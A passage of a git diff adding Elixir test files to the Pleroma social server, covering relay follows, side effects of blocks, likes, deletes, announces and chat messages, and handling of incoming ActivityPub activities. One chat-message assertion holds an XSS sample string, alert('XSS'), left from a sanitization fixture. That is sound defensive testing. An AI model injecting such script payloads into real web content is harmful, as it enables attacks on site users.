user_ap_id = user.ap_id + user_id = user.id + + Tesla.Mock.mock(fn %{method: :get, url: ^user_ap_id} -> + %Tesla.Env{status: 404} + end) + + service_actor = Relay.get_actor() + CommonAPI.follow(service_actor, user) + assert "#{user.ap_id}/followers" in User.following(service_actor) + + assert Pleroma.Repo.get_by( + Pleroma.FollowingRelationship, + follower_id: service_actor.id, + following_id: user_id + ) + + Pleroma.Repo.delete(user) + Cachex.clear(:user_cache) + + assert {:ok, %Activity{} = activity} = Relay.unfollow(user_ap_id, %{force: true}) + + assert refresh_record(service_actor).following_count == 0 + + refute Pleroma.Repo.get_by( + Pleroma.FollowingRelationship, + follower_id: service_actor.id, + following_id: user_id + ) + + assert activity.actor == "#{Pleroma.Web.Endpoint.url()}/relay" + assert user.ap_id in activity.recipients + assert activity.data["type"] == "Undo" + assert activity.data["actor"] == service_actor.ap_id + assert activity.data["to"] == [user_ap_id] + refute "#{user.ap_id}/followers" in User.following(service_actor) + end + end + + describe "publish/1" do + setup do: clear_config([:instance, :federating]) + + test "returns error when activity not `Create` type" do + activity = insert(:like_activity) + assert Relay.publish(activity) == {:error, "Not implemented"} + end + + @tag capture_log: true + test "returns error when activity not public" do + activity = insert(:direct_note_activity) + assert Relay.publish(activity) == {:error, false} + end + + test "returns error when object is unknown" do + activity = + insert(:note_activity, + data: %{ + "type" => "Create", + "object" => "http://mastodon.example.org/eee/99541947525187367" + } + ) + + Tesla.Mock.mock(fn + %{method: :get, url: "http://mastodon.example.org/eee/99541947525187367"} -> + %Tesla.Env{status: 500, body: ""} + end) + + assert capture_log(fn -> + assert Relay.publish(activity) == {:error, false} + end) =~ "[error] error: false" + end + + test_with_mock "returns announce activity and publish to federate", + Pleroma.Web.Federator, + [:passthrough], + [] do + clear_config([:instance, :federating], true) + service_actor = Relay.get_actor() + note = insert(:note_activity) + assert {:ok, %Activity{} = activity} = Relay.publish(note) + assert activity.data["type"] == "Announce" + assert activity.data["actor"] == service_actor.ap_id + assert activity.data["to"] == [service_actor.follower_address] + assert called(Pleroma.Web.Federator.publish(activity)) + end + + test_with_mock "returns announce activity and not publish to federate", + Pleroma.Web.Federator, + [:passthrough], + [] do + clear_config([:instance, :federating], false) + service_actor = Relay.get_actor() + note = insert(:note_activity) + assert {:ok, %Activity{} = activity} = Relay.publish(note) + assert activity.data["type"] == "Announce" + assert activity.data["actor"] == service_actor.ap_id + refute called(Pleroma.Web.Federator.publish(activity)) + end + end +end diff --git a/test/pleroma/web/activity_pub/side_effects_test.exs b/test/pleroma/web/activity_pub/side_effects_test.exs new file mode 100644 index 000000000..9efbaad04 --- /dev/null +++ b/test/pleroma/web/activity_pub/side_effects_test.exs @@ -0,0 +1,639 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.ActivityPub.SideEffectsTest do + use Oban.Testing, repo: Pleroma.Repo + use Pleroma.DataCase + + alias Pleroma.Activity + alias Pleroma.Chat + alias Pleroma.Chat.MessageReference + alias Pleroma.Notification + alias Pleroma.Object + alias Pleroma.Repo + alias Pleroma.Tests.ObanHelpers + alias Pleroma.User + alias Pleroma.Web.ActivityPub.ActivityPub + alias Pleroma.Web.ActivityPub.Builder + alias Pleroma.Web.ActivityPub.SideEffects + alias Pleroma.Web.CommonAPI + + import ExUnit.CaptureLog + import Mock + import Pleroma.Factory + + describe "handle_after_transaction" do + test "it streams out notifications and streams" do + author = insert(:user, local: true) + recipient = insert(:user, local: true) + + {:ok, chat_message_data, _meta} = Builder.chat_message(author, recipient.ap_id, "hey") + + {:ok, create_activity_data, _meta} = + Builder.create(author, chat_message_data["id"], [recipient.ap_id]) + + {:ok, create_activity, _meta} = ActivityPub.persist(create_activity_data, local: false) + + {:ok, _create_activity, meta} = + SideEffects.handle(create_activity, local: false, object_data: chat_message_data) + + assert [notification] = meta[:notifications] + + with_mocks([ + { + Pleroma.Web.Streamer, + [], + [ + stream: fn _, _ -> nil end + ] + }, + { + Pleroma.Web.Push, + [], + [ + send: fn _ -> nil end + ] + } + ]) do + SideEffects.handle_after_transaction(meta) + + assert called(Pleroma.Web.Streamer.stream(["user", "user:notification"], notification)) + assert called(Pleroma.Web.Streamer.stream(["user", "user:pleroma_chat"], :_)) + assert called(Pleroma.Web.Push.send(notification)) + end + end + end + + describe "blocking users" do + setup do + user = insert(:user) + blocked = insert(:user) + User.follow(blocked, user) + User.follow(user, blocked) + + {:ok, block_data, []} = Builder.block(user, blocked) + {:ok, block, _meta} = ActivityPub.persist(block_data, local: true) + + %{user: user, blocked: blocked, block: block} + end + + test "it unfollows and blocks", %{user: user, blocked: blocked, block: block} do + assert User.following?(user, blocked) + assert User.following?(blocked, user) + + {:ok, _, _} = SideEffects.handle(block) + + refute User.following?(user, blocked) + refute User.following?(blocked, user) + assert User.blocks?(user, blocked) + end + + test "it blocks but does not unfollow if the relevant setting is set", %{ + user: user, + blocked: blocked, + block: block + } do + clear_config([:activitypub, :unfollow_blocked], false) + assert User.following?(user, blocked) + assert User.following?(blocked, user) + + {:ok, _, _} = SideEffects.handle(block) + + refute User.following?(user, blocked) + assert User.following?(blocked, user) + assert User.blocks?(user, blocked) + end + end + + describe "update users" do + setup do + user = insert(:user) + {:ok, update_data, []} = Builder.update(user, %{"id" => user.ap_id, "name" => "new name!"}) + {:ok, update, _meta} = ActivityPub.persist(update_data, local: true) + + %{user: user, update_data: update_data, update: update} + end + + test "it updates the user", %{user: user, update: update} do + {:ok, _, _} = SideEffects.handle(update) + user = User.get_by_id(user.id) + assert user.name == "new name!" + end + + test "it uses a given changeset to update", %{user: user, update: update} do + changeset = Ecto.Changeset.change(user, %{default_scope: "direct"}) + + assert user.default_scope == "public" + {:ok, _, _} = SideEffects.handle(update, user_update_changeset: changeset) + user = User.get_by_id(user.id) + assert user.default_scope == "direct" + end + end + + describe "delete objects" do + setup do + user = insert(:user) + other_user = insert(:user) + + {:ok, op} = CommonAPI.post(other_user, %{status: "big oof"}) + {:ok, post} = CommonAPI.post(user, %{status: "hey", in_reply_to_id: op}) + {:ok, favorite} = CommonAPI.favorite(user, post.id) + object = Object.normalize(post) + {:ok, delete_data, _meta} = Builder.delete(user, object.data["id"]) + {:ok, delete_user_data, _meta} = Builder.delete(user, user.ap_id) + {:ok, delete, _meta} = ActivityPub.persist(delete_data, local: true) + {:ok, delete_user, _meta} = ActivityPub.persist(delete_user_data, local: true) + + %{ + user: user, + delete: delete, + post: post, + object: object, + delete_user: delete_user, + op: op, + favorite: favorite + } + end + + test "it handles object deletions", %{ + delete: delete, + post: post, + object: object, + user: user, + op: op, + favorite: favorite + } do + with_mock Pleroma.Web.ActivityPub.ActivityPub, [:passthrough], + stream_out: fn _ -> nil end, + stream_out_participations: fn _, _ -> nil end do + {:ok, delete, _} = SideEffects.handle(delete) + user = User.get_cached_by_ap_id(object.data["actor"]) + + assert called(Pleroma.Web.ActivityPub.ActivityPub.stream_out(delete)) + assert called(Pleroma.Web.ActivityPub.ActivityPub.stream_out_participations(object, user)) + end + + object = Object.get_by_id(object.id) + assert object.data["type"] == "Tombstone" + refute Activity.get_by_id(post.id) + refute Activity.get_by_id(favorite.id) + + user = User.get_by_id(user.id) + assert user.note_count == 0 + + object = Object.normalize(op.data["object"], false) + + assert object.data["repliesCount"] == 0 + end + + test "it handles object deletions when the object itself has been pruned", %{ + delete: delete, + post: post, + object: object, + user: user, + op: op + } do + with_mock Pleroma.Web.ActivityPub.ActivityPub, [:passthrough], + stream_out: fn _ -> nil end, + stream_out_participations: fn _, _ -> nil end do + {:ok, delete, _} = SideEffects.handle(delete) + user = User.get_cached_by_ap_id(object.data["actor"]) + + assert called(Pleroma.Web.ActivityPub.ActivityPub.stream_out(delete)) + assert called(Pleroma.Web.ActivityPub.ActivityPub.stream_out_participations(object, user)) + end + + object = Object.get_by_id(object.id) + assert object.data["type"] == "Tombstone" + refute Activity.get_by_id(post.id) + + user = User.get_by_id(user.id) + assert user.note_count == 0 + + object = Object.normalize(op.data["object"], false) + + assert object.data["repliesCount"] == 0 + end + + test "it handles user deletions", %{delete_user: delete, user: user} do + {:ok, _delete, _} = SideEffects.handle(delete) + ObanHelpers.perform_all() + + assert User.get_cached_by_ap_id(user.ap_id).deactivated + end + + test "it logs issues with objects deletion", %{ + delete: delete, + object: object + } do + {:ok, object} = + object + |> Object.change(%{data: Map.delete(object.data, "actor")}) + |> Repo.update() + + Object.invalid_object_cache(object) + + assert capture_log(fn -> + {:error, :no_object_actor} = SideEffects.handle(delete) + end) =~ "object doesn't have an actor" + end + end + + describe "EmojiReact objects" do + setup do + poster = insert(:user) + user = insert(:user) + + {:ok, post} = CommonAPI.post(poster, %{status: "hey"}) + + {:ok, emoji_react_data, []} = Builder.emoji_react(user, post.object, "👌") + {:ok, emoji_react, _meta} = ActivityPub.persist(emoji_react_data, local: true) + + %{emoji_react: emoji_react, user: user, poster: poster} + end + + test "adds the reaction to the object", %{emoji_react: emoji_react, user: user} do + {:ok, emoji_react, _} = SideEffects.handle(emoji_react) + object = Object.get_by_ap_id(emoji_react.data["object"]) + + assert object.data["reaction_count"] == 1 + assert ["👌", [user.ap_id]] in object.data["reactions"] + end + + test "creates a notification", %{emoji_react: emoji_react, poster: poster} do + {:ok, emoji_react, _} = SideEffects.handle(emoji_react) + assert Repo.get_by(Notification, user_id: poster.id, activity_id: emoji_react.id) + end + end + + describe "delete users with confirmation pending" do + setup do + user = insert(:user, confirmation_pending: true) + {:ok, delete_user_data, _meta} = Builder.delete(user, user.ap_id) + {:ok, delete_user, _meta} = ActivityPub.persist(delete_user_data, local: true) + {:ok, delete: delete_user, user: user} + end + + test "when activation is not required", %{delete: delete, user: user} do + clear_config([:instance, :account_activation_required], false) + {:ok, _, _} = SideEffects.handle(delete) + ObanHelpers.perform_all() + + assert User.get_cached_by_id(user.id).deactivated + end + + test "when activation is required", %{delete: delete, user: user} do + clear_config([:instance, :account_activation_required], true) + {:ok, _, _} = SideEffects.handle(delete) + ObanHelpers.perform_all() + + refute User.get_cached_by_id(user.id) + end + end + + describe "Undo objects" do + setup do + poster = insert(:user) + user = insert(:user) + {:ok, post} = CommonAPI.post(poster, %{status: "hey"}) + {:ok, like} = CommonAPI.favorite(user, post.id) + {:ok, reaction} = CommonAPI.react_with_emoji(post.id, user, "👍") + {:ok, announce} = CommonAPI.repeat(post.id, user) + {:ok, block} = CommonAPI.block(user, poster) + + {:ok, undo_data, _meta} = Builder.undo(user, like) + {:ok, like_undo, _meta} = ActivityPub.persist(undo_data, local: true) + + {:ok, undo_data, _meta} = Builder.undo(user, reaction) + {:ok, reaction_undo, _meta} = ActivityPub.persist(undo_data, local: true) + + {:ok, undo_data, _meta} = Builder.undo(user, announce) + {:ok, announce_undo, _meta} = ActivityPub.persist(undo_data, local: true) + + {:ok, undo_data, _meta} = Builder.undo(user, block) + {:ok, block_undo, _meta} = ActivityPub.persist(undo_data, local: true) + + %{ + like_undo: like_undo, + post: post, + like: like, + reaction_undo: reaction_undo, + reaction: reaction, + announce_undo: announce_undo, + announce: announce, + block_undo: block_undo, + block: block, + poster: poster, + user: user + } + end + + test "deletes the original block", %{ + block_undo: block_undo, + block: block + } do + {:ok, _block_undo, _meta} = SideEffects.handle(block_undo) + + refute Activity.get_by_id(block.id) + end + + test "unblocks the blocked user", %{block_undo: block_undo, block: block} do + blocker = User.get_by_ap_id(block.data["actor"]) + blocked = User.get_by_ap_id(block.data["object"]) + + {:ok, _block_undo, _} = SideEffects.handle(block_undo) + refute User.blocks?(blocker, blocked) + end + + test "an announce undo removes the announce from the object", %{ + announce_undo: announce_undo, + post: post + } do + {:ok, _announce_undo, _} = SideEffects.handle(announce_undo) + + object = Object.get_by_ap_id(post.data["object"]) + + assert object.data["announcement_count"] == 0 + assert object.data["announcements"] == [] + end + + test "deletes the original announce", %{announce_undo: announce_undo, announce: announce} do + {:ok, _announce_undo, _} = SideEffects.handle(announce_undo) + refute Activity.get_by_id(announce.id) + end + + test "a reaction undo removes the reaction from the object", %{ + reaction_undo: reaction_undo, + post: post + } do + {:ok, _reaction_undo, _} = SideEffects.handle(reaction_undo) + + object = Object.get_by_ap_id(post.data["object"]) + + assert object.data["reaction_count"] == 0 + assert object.data["reactions"] == [] + end + + test "deletes the original reaction", %{reaction_undo: reaction_undo, reaction: reaction} do + {:ok, _reaction_undo, _} = SideEffects.handle(reaction_undo) + refute Activity.get_by_id(reaction.id) + end + + test "a like undo removes the like from the object", %{like_undo: like_undo, post: post} do + {:ok, _like_undo, _} = SideEffects.handle(like_undo) + + object = Object.get_by_ap_id(post.data["object"]) + + assert object.data["like_count"] == 0 + assert object.data["likes"] == [] + end + + test "deletes the original like", %{like_undo: like_undo, like: like} do + {:ok, _like_undo, _} = SideEffects.handle(like_undo) + refute Activity.get_by_id(like.id) + end + end + + describe "like objects" do + setup do + poster = insert(:user) + user = insert(:user) + {:ok, post} = CommonAPI.post(poster, %{status: "hey"}) + + {:ok, like_data, _meta} = Builder.like(user, post.object) + {:ok, like, _meta} = ActivityPub.persist(like_data, local: true) + + %{like: like, user: user, poster: poster} + end + + test "add the like to the original object", %{like: like, user: user} do + {:ok, like, _} = SideEffects.handle(like) + object = Object.get_by_ap_id(like.data["object"]) + assert object.data["like_count"] == 1 + assert user.ap_id in object.data["likes"] + end + + test "creates a notification", %{like: like, poster: poster} do + {:ok, like, _} = SideEffects.handle(like) + assert Repo.get_by(Notification, user_id: poster.id, activity_id: like.id) + end + end + + describe "creation of ChatMessages" do + test "notifies the recipient" do + author = insert(:user, local: false) + recipient = insert(:user, local: true) + + {:ok, chat_message_data, _meta} = Builder.chat_message(author, recipient.ap_id, "hey") + + {:ok, create_activity_data, _meta} = + Builder.create(author, chat_message_data["id"], [recipient.ap_id]) + + {:ok, create_activity, _meta} = ActivityPub.persist(create_activity_data, local: false) + + {:ok, _create_activity, _meta} = + SideEffects.handle(create_activity, local: false, object_data: chat_message_data) + + assert Repo.get_by(Notification, user_id: recipient.id, activity_id: create_activity.id) + end + + test "it streams the created ChatMessage" do + author = insert(:user, local: true) + recipient = insert(:user, local: true) + + {:ok, chat_message_data, _meta} = Builder.chat_message(author, recipient.ap_id, "hey") + + {:ok, create_activity_data, _meta} = + Builder.create(author, chat_message_data["id"], [recipient.ap_id]) + + {:ok, create_activity, _meta} = ActivityPub.persist(create_activity_data, local: false) + + {:ok, _create_activity, meta} = + SideEffects.handle(create_activity, local: false, object_data: chat_message_data) + + assert [_, _] = meta[:streamables] + end + + test "it creates a Chat and MessageReferences for the local users and bumps the unread count, except for the author" do + author = insert(:user, local: true) + recipient = insert(:user, local: true) + + {:ok, chat_message_data, _meta} = Builder.chat_message(author, recipient.ap_id, "hey") + + {:ok, create_activity_data, _meta} = + Builder.create(author, chat_message_data["id"], [recipient.ap_id]) + + {:ok, create_activity, _meta} = ActivityPub.persist(create_activity_data, local: false) + + with_mocks([ + { + Pleroma.Web.Streamer, + [], + [ + stream: fn _, _ -> nil end + ] + }, + { + Pleroma.Web.Push, + [], + [ + send: fn _ -> nil end + ] + } + ]) do + {:ok, _create_activity, meta} = + SideEffects.handle(create_activity, local: false, object_data: chat_message_data) + + # The notification gets created + assert [notification] = meta[:notifications] + assert notification.activity_id == create_activity.id + + # But it is not sent out + refute called(Pleroma.Web.Streamer.stream(["user", "user:notification"], notification)) + refute called(Pleroma.Web.Push.send(notification)) + + # Same for the user chat stream + assert [{topics, _}, _] = meta[:streamables] + assert topics == ["user", "user:pleroma_chat"] + refute called(Pleroma.Web.Streamer.stream(["user", "user:pleroma_chat"], :_)) + + chat = Chat.get(author.id, recipient.ap_id) + + [cm_ref] = MessageReference.for_chat_query(chat) |> Repo.all() + + assert cm_ref.object.data["content"] == "hey" + assert cm_ref.unread == false + + chat = Chat.get(recipient.id, author.ap_id) + + [cm_ref] = MessageReference.for_chat_query(chat) |> Repo.all() + + assert cm_ref.object.data["content"] == "hey" + assert cm_ref.unread == true + end + end + + test "it creates a Chat for the local users and bumps the unread count" do + author = insert(:user, local: false) + recipient = insert(:user, local: true) + + {:ok, chat_message_data, _meta} = Builder.chat_message(author, recipient.ap_id, "hey") + + {:ok, create_activity_data, _meta} = + Builder.create(author, chat_message_data["id"], [recipient.ap_id]) + + {:ok, create_activity, _meta} = ActivityPub.persist(create_activity_data, local: false) + + {:ok, _create_activity, _meta} = + SideEffects.handle(create_activity, local: false, object_data: chat_message_data) + + # An object is created + assert Object.get_by_ap_id(chat_message_data["id"]) + + # The remote user won't get a chat + chat = Chat.get(author.id, recipient.ap_id) + refute chat + + # The local user will get a chat + chat = Chat.get(recipient.id, author.ap_id) + assert chat + + author = insert(:user, local: true) + recipient = insert(:user, local: true) + + {:ok, chat_message_data, _meta} = Builder.chat_message(author, recipient.ap_id, "hey") + + {:ok, create_activity_data, _meta} = + Builder.create(author, chat_message_data["id"], [recipient.ap_id]) + + {:ok, create_activity, _meta} = ActivityPub.persist(create_activity_data, local: false) + + {:ok, _create_activity, _meta} = + SideEffects.handle(create_activity, local: false, object_data: chat_message_data) + + # Both users are local and get the chat + chat = Chat.get(author.id, recipient.ap_id) + assert chat + + chat = Chat.get(recipient.id, author.ap_id) + assert chat + end + end + + describe "announce objects" do + setup do + poster = insert(:user) + user = insert(:user) + {:ok, post} = CommonAPI.post(poster, %{status: "hey"}) + {:ok, private_post} = CommonAPI.post(poster, %{status: "hey", visibility: "private"}) + + {:ok, announce_data, _meta} = Builder.announce(user, post.object, public: true) + + {:ok, private_announce_data, _meta} = + Builder.announce(user, private_post.object, public: false) + + {:ok, relay_announce_data, _meta} = + Builder.announce(Pleroma.Web.ActivityPub.Relay.get_actor(), post.object, public: true) + + {:ok, announce, _meta} = ActivityPub.persist(announce_data, local: true) + {:ok, private_announce, _meta} = ActivityPub.persist(private_announce_data, local: true) + {:ok, relay_announce, _meta} = ActivityPub.persist(relay_announce_data, local: true) + + %{ + announce: announce, + user: user, + poster: poster, + private_announce: private_announce, + relay_announce: relay_announce + } + end + + test "adds the announce to the original object", %{announce: announce, user: user} do + {:ok, announce, _} = SideEffects.handle(announce) + object = Object.get_by_ap_id(announce.data["object"]) + assert object.data["announcement_count"] == 1 + assert user.ap_id in object.data["announcements"] + end + + test "does not add the announce to the original object if the actor is a service actor", %{ + relay_announce: announce + } do + {:ok, announce, _} = SideEffects.handle(announce) + object = Object.get_by_ap_id(announce.data["object"]) + assert object.data["announcement_count"] == nil + end + + test "creates a notification", %{announce: announce, poster: poster} do + {:ok, announce, _} = SideEffects.handle(announce) + assert Repo.get_by(Notification, user_id: poster.id, activity_id: announce.id) + end + + test "it streams out the announce", %{announce: announce} do + with_mocks([ + { + Pleroma.Web.Streamer, + [], + [ + stream: fn _, _ -> nil end + ] + }, + { + Pleroma.Web.Push, + [], + [ + send: fn _ -> nil end + ] + } + ]) do + {:ok, announce, _} = SideEffects.handle(announce) + + assert called( + Pleroma.Web.Streamer.stream(["user", "list", "public", "public:local"], announce) + ) + + assert called(Pleroma.Web.Push.send(:_)) + end + end + end +end diff --git a/test/pleroma/web/activity_pub/transmogrifier/announce_handling_test.exs b/test/pleroma/web/activity_pub/transmogrifier/announce_handling_test.exs new file mode 100644 index 000000000..e895636b5 --- /dev/null +++ b/test/pleroma/web/activity_pub/transmogrifier/announce_handling_test.exs @@ -0,0 +1,172 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.ActivityPub.Transmogrifier.AnnounceHandlingTest do + use Pleroma.DataCase + + alias Pleroma.Activity + alias Pleroma.Object + alias Pleroma.Web.ActivityPub.Transmogrifier + alias Pleroma.Web.CommonAPI + + import Pleroma.Factory + + test "it works for incoming honk announces" do + user = insert(:user, ap_id: "https://honktest/u/test", local: false) + other_user = insert(:user) + {:ok, post} = CommonAPI.post(other_user, %{status: "bonkeronk"}) + + announce = %{ + "@context" => "https://www.w3.org/ns/activitystreams", + "actor" => "https://honktest/u/test", + "id" => "https://honktest/u/test/bonk/1793M7B9MQ48847vdx", + "object" => post.data["object"], + "published" => "2019-06-25T19:33:58Z", + "to" => "https://www.w3.org/ns/activitystreams#Public", + "type" => "Announce" + } + + {:ok, %Activity{local: false}} = Transmogrifier.handle_incoming(announce) + + object = Object.get_by_ap_id(post.data["object"]) + + assert length(object.data["announcements"]) == 1 + assert user.ap_id in object.data["announcements"] + end + + test "it works for incoming announces with actor being inlined (kroeg)" do + data = File.read!("test/fixtures/kroeg-announce-with-inline-actor.json") |> Poison.decode!() + + _user = insert(:user, local: false, ap_id: data["actor"]["id"]) + other_user = insert(:user) + + {:ok, post} = CommonAPI.post(other_user, %{status: "kroegeroeg"}) + + data = + data + |> put_in(["object", "id"], post.data["object"]) + + {:ok, %Activity{data: data, local: false}} = Transmogrifier.handle_incoming(data) + + assert data["actor"] == "https://puckipedia.com/" + end + + test "it works for incoming announces, fetching the announced object" do + data = + File.read!("test/fixtures/mastodon-announce.json") + |> Poison.decode!() + |> Map.put("object", "http://mastodon.example.org/users/admin/statuses/99541947525187367") + + Tesla.Mock.mock(fn + %{method: :get} -> + %Tesla.Env{status: 200, body: File.read!("test/fixtures/mastodon-note-object.json")} + end) + + _user = insert(:user, local: false, ap_id: data["actor"]) + + {:ok, %Activity{data: data, local: false}} = Transmogrifier.handle_incoming(data) + + assert data["actor"] == "http://mastodon.example.org/users/admin" + assert data["type"] == "Announce" + + assert data["id"] == + "http://mastodon.example.org/users/admin/statuses/99542391527669785/activity" + + assert data["object"] == + "http://mastodon.example.org/users/admin/statuses/99541947525187367" + + assert(Activity.get_create_by_object_ap_id(data["object"])) + end + + @tag capture_log: true + test "it works for incoming announces with an existing activity" do + user = insert(:user) + {:ok, activity} = CommonAPI.post(user, %{status: "hey"}) + + data = + File.read!("test/fixtures/mastodon-announce.json") + |> Poison.decode!() + |> Map.put("object", activity.data["object"]) + + _user = insert(:user, local: false, ap_id: data["actor"]) + + {:ok, %Activity{data: data, local: false}} = Transmogrifier.handle_incoming(data) + + assert data["actor"] == "http://mastodon.example.org/users/admin" + assert data["type"] == "Announce" + + assert data["id"] == + "http://mastodon.example.org/users/admin/statuses/99542391527669785/activity" + + assert data["object"] == activity.data["object"] + + assert Activity.get_create_by_object_ap_id(data["object"]).id == activity.id + end + + # Ignore inlined activities for now + @tag skip: true + test "it works for incoming announces with an inlined activity" do + data = + File.read!("test/fixtures/mastodon-announce-private.json") + |> Poison.decode!() + + _user = + insert(:user, + local: false, + ap_id: data["actor"], + follower_address: data["actor"] <> "/followers" + ) + + {:ok, %Activity{data: data, local: false}} = Transmogrifier.handle_incoming(data) + + assert data["actor"] == "http://mastodon.example.org/users/admin" + assert data["type"] == "Announce" + + assert data["id"] == + "http://mastodon.example.org/users/admin/statuses/99542391527669785/activity" + + object = Object.normalize(data["object"]) + + assert object.data["id"] == "http://mastodon.example.org/@admin/99541947525187368" + assert object.data["content"] == "this is a private toot" + end + + @tag capture_log: true + test "it rejects incoming announces with an inlined activity from another origin" do + Tesla.Mock.mock(fn + %{method: :get} -> %Tesla.Env{status: 404, body: ""} + end) + + data = + File.read!("test/fixtures/bogus-mastodon-announce.json") + |> Poison.decode!() + + _user = insert(:user, local: false, ap_id: data["actor"]) + + assert {:error, e} = Transmogrifier.handle_incoming(data) + end + + test "it does not clobber the addressing on announce activities" do + user = insert(:user) + {:ok, activity} = CommonAPI.post(user, %{status: "hey"}) + + data = + File.read!("test/fixtures/mastodon-announce.json") + |> Poison.decode!() + |> Map.put("object", Object.normalize(activity).data["id"]) + |> Map.put("to", ["http://mastodon.example.org/users/admin/followers"]) + |> Map.put("cc", []) + + _user = + insert(:user, + local: false, + ap_id: data["actor"], + follower_address: "http://mastodon.example.org/users/admin/followers" + ) + + {:ok, %Activity{data: data, local: false}} = Transmogrifier.handle_incoming(data) + + assert data["to"] == ["http://mastodon.example.org/users/admin/followers"] + end +end diff --git a/test/pleroma/web/activity_pub/transmogrifier/chat_message_test.exs b/test/pleroma/web/activity_pub/transmogrifier/chat_message_test.exs new file mode 100644 index 000000000..31274c067 --- /dev/null +++ b/test/pleroma/web/activity_pub/transmogrifier/chat_message_test.exs @@ -0,0 +1,171 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.ActivityPub.Transmogrifier.ChatMessageTest do + use Pleroma.DataCase + + import Pleroma.Factory + + alias Pleroma.Activity + alias Pleroma.Chat + alias Pleroma.Object + alias Pleroma.Web.ActivityPub.Transmogrifier + + describe "handle_incoming" do + test "handles chonks with attachment" do + data = %{ + "@context" => "https://www.w3.org/ns/activitystreams", + "actor" => "https://honk.tedunangst.com/u/tedu", + "id" => "https://honk.tedunangst.com/u/tedu/honk/x6gt8X8PcyGkQcXxzg1T", + "object" => %{ + "attachment" => [ + %{ + "mediaType" => "image/jpeg", + "name" => "298p3RG7j27tfsZ9RQ.jpg", + "summary" => "298p3RG7j27tfsZ9RQ.jpg", + "type" => "Document", + "url" => "https://honk.tedunangst.com/d/298p3RG7j27tfsZ9RQ.jpg" + } + ], + "attributedTo" => "https://honk.tedunangst.com/u/tedu", + "content" => "", + "id" => "https://honk.tedunangst.com/u/tedu/chonk/26L4wl5yCbn4dr4y1b", + "published" => "2020-05-18T01:13:03Z", + "to" => [ + "https://dontbulling.me/users/lain" + ], + "type" => "ChatMessage" + }, + "published" => "2020-05-18T01:13:03Z", + "to" => [ + "https://dontbulling.me/users/lain" + ], + "type" => "Create" + } + + _user = insert(:user, ap_id: data["actor"]) + _user = insert(:user, ap_id: hd(data["to"])) + + assert {:ok, _activity} = Transmogrifier.handle_incoming(data) + end + + test "it rejects messages that don't contain content" do + data = + File.read!("test/fixtures/create-chat-message.json") + |> Poison.decode!() + + object = + data["object"] + |> Map.delete("content") + + data = + data + |> Map.put("object", object) + + _author = + insert(:user, ap_id: data["actor"], local: false, last_refreshed_at: DateTime.utc_now()) + + _recipient = + insert(:user, + ap_id: List.first(data["to"]), + local: true, + last_refreshed_at: DateTime.utc_now() + ) + + {:error, _} = Transmogrifier.handle_incoming(data) + end + + test "it rejects messages that don't concern local users" do + data = + File.read!("test/fixtures/create-chat-message.json") + |> Poison.decode!() + + _author = + insert(:user, ap_id: data["actor"], local: false, last_refreshed_at: DateTime.utc_now()) + + _recipient = + insert(:user, + ap_id: List.first(data["to"]), + local: false, + last_refreshed_at: DateTime.utc_now() + ) + + {:error, _} = Transmogrifier.handle_incoming(data) + end + + test "it rejects messages where the `to` field of activity and object don't match" do + data = + File.read!("test/fixtures/create-chat-message.json") + |> Poison.decode!() + + author = insert(:user, ap_id: data["actor"]) + _recipient = insert(:user, ap_id: List.first(data["to"])) + + data = + data + |> Map.put("to", author.ap_id) + + assert match?({:error, _}, Transmogrifier.handle_incoming(data)) + refute Object.get_by_ap_id(data["object"]["id"]) + end + + test "it fetches the actor if they aren't in our system" do + Tesla.Mock.mock(fn env -> apply(HttpRequestMock, :request, [env]) end) + + data = + File.read!("test/fixtures/create-chat-message.json") + |> Poison.decode!() + |> Map.put("actor", "http://mastodon.example.org/users/admin") + |> put_in(["object", "actor"], "http://mastodon.example.org/users/admin") + + _recipient = insert(:user, ap_id: List.first(data["to"]), local: true) + + {:ok, %Activity{} = _activity} = Transmogrifier.handle_incoming(data) + end + + test "it doesn't work for deactivated users" do + data = + File.read!("test/fixtures/create-chat-message.json") + |> Poison.decode!() + + _author = + insert(:user, + ap_id: data["actor"], + local: false, + last_refreshed_at: DateTime.utc_now(), + deactivated: true + ) + + _recipient = insert(:user, ap_id: List.first(data["to"]), local: true) + + assert {:error, _} = Transmogrifier.handle_incoming(data) + end + + test "it inserts it and creates a chat" do + data = + File.read!("test/fixtures/create-chat-message.json") + |> Poison.decode!() + + author = + insert(:user, ap_id: data["actor"], local: false, last_refreshed_at: DateTime.utc_now()) + + recipient = insert(:user, ap_id: List.first(data["to"]), local: true) + + {:ok, %Activity{} = activity} = Transmogrifier.handle_incoming(data) + assert activity.local == false + + assert activity.actor == author.ap_id + assert activity.recipients == [recipient.ap_id, author.ap_id] + + %Object{} = object = Object.get_by_ap_id(activity.data["object"]) + + assert object + assert object.data["content"] == "You expected a cute girl? Too bad. alert('XSS')" + assert match?(%{"firefox" => _}, object.data["emoji"]) + + refute Chat.get(author.id, recipient.ap_id) + assert Chat.get(recipient.id, author.ap_id) + end + end +end diff --git a/test/pleroma/web/activity_pub/transmogrifier/delete_handling_test.exs b/test/pleroma/web/activity_pub/transmogrifier/delete_handling_test.exs new file mode 100644 index 000000000..c9a53918c --- /dev/null +++ b/test/pleroma/web/activity_pub/transmogrifier/delete_handling_test.exs @@ -0,0 +1,114 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.ActivityPub.Transmogrifier.DeleteHandlingTest do + use Oban.Testing, repo: Pleroma.Repo + use Pleroma.DataCase + + alias Pleroma.Activity + alias Pleroma.Object + alias Pleroma.Tests.ObanHelpers + alias Pleroma.User + alias Pleroma.Web.ActivityPub.Transmogrifier + + import Pleroma.Factory + + setup_all do + Tesla.Mock.mock_global(fn env -> apply(HttpRequestMock, :request, [env]) end) + :ok + end + + test "it works for incoming deletes" do + activity = insert(:note_activity) + deleting_user = insert(:user) + + data = + File.read!("test/fixtures/mastodon-delete.json") + |> Poison.decode!() + |> Map.put("actor", deleting_user.ap_id) + |> put_in(["object", "id"], activity.data["object"]) + + {:ok, %Activity{actor: actor, local: false, data: %{"id" => id}}} = + Transmogrifier.handle_incoming(data) + + assert id == data["id"] + + # We delete the Create 